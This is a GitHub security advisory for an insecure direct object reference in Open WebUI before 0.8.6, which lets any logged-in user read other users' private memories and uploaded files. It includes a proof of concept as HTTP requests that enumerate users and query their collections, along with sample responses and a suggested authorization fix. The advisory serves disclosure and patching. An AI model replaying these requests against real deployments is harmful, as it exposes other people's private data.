GHSA-w9f8-gxf9-rhvw Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

• PyPI open-webui: < 0.8.6 → fixed in 0.8.6

Summary Any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection` Details Vulnerability 1: Missing authorization in collection querying In `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation: ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), # Only checks authentication, not authorization ): ``` Collection names follow predictable patterns: • User files: `file-{FILE_UUID}` • User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature) PoC Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories. Exploitation — Step 1: Enumerate all users ``` GET /api/v1/users/search HTTP/1.1 Host: Authorization: Bearer ``` Response reveals all users including admin's UUID, email, and role: ```json { "users": [ { "id": "1e4756eb-b064-4781-8b06-4979bca59c8b", "name": "user", "email": "[email protected]", "role": "user" }, { "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "name": "admin", "email": "[email protected]", "role": "admin" } ] } ``` Exploitation — Step 2: Read admin's memories Using the admin UUID obtained in Step 1, query their private memory collection: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: Authorization: Bearer Content-Type: application/json { "collection_names": ["user-memory-"], "query": "test" } ``` Response returns admin's private memories: ```json { "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]] } ``` Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration. Exploitation — Step 3: Read admin's private file (Vulnerability 1) File collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: Authorization: Bearer Content-Type: application/json { "collection_names": ["file-"], "query": "test" } ``` Response returns admin's private document content and full metadata: ```json { "documents": [["Test PDF \nabc \nbcd"]], "metadatas": [[{ "name": "Test PDF.pdf", "author": "Mariusz Maik", "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "file_id": "243bee10-49ad-466f-884b-67b6b3d74968" }]] } ``` Impact • Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins. • User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`. • Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation. • No admin privileges required: A regular user account is sufficient to exploit all of the above. Suggested Fix 1. Add ownership validation in `/api/v1/retrieval/query/collection`: ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), ): for collection_name in form_data.collection_names: if collection_name.startswith("user-memory-"): owner_id = collection_name.replace("user-memory-", "") if owner_id != user.id and user.role != "admin": raise HTTPException(status_code=403, detail="Access denied") elif collection_name.startswith("file-"): file_id = collection_name.replace("file-", "") # user_has_access_to_file — placeholder; verify file ownership # e.g. check if created_by matches user.id if not user_has_access_to_file(user.id, file_id): raise HTTPException(status_code=403, detail="Access denied") ``` 2. Restrict `/api/v1/users/search` to admin-only or limit the fields returned to non-privileged users. Disclosure AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.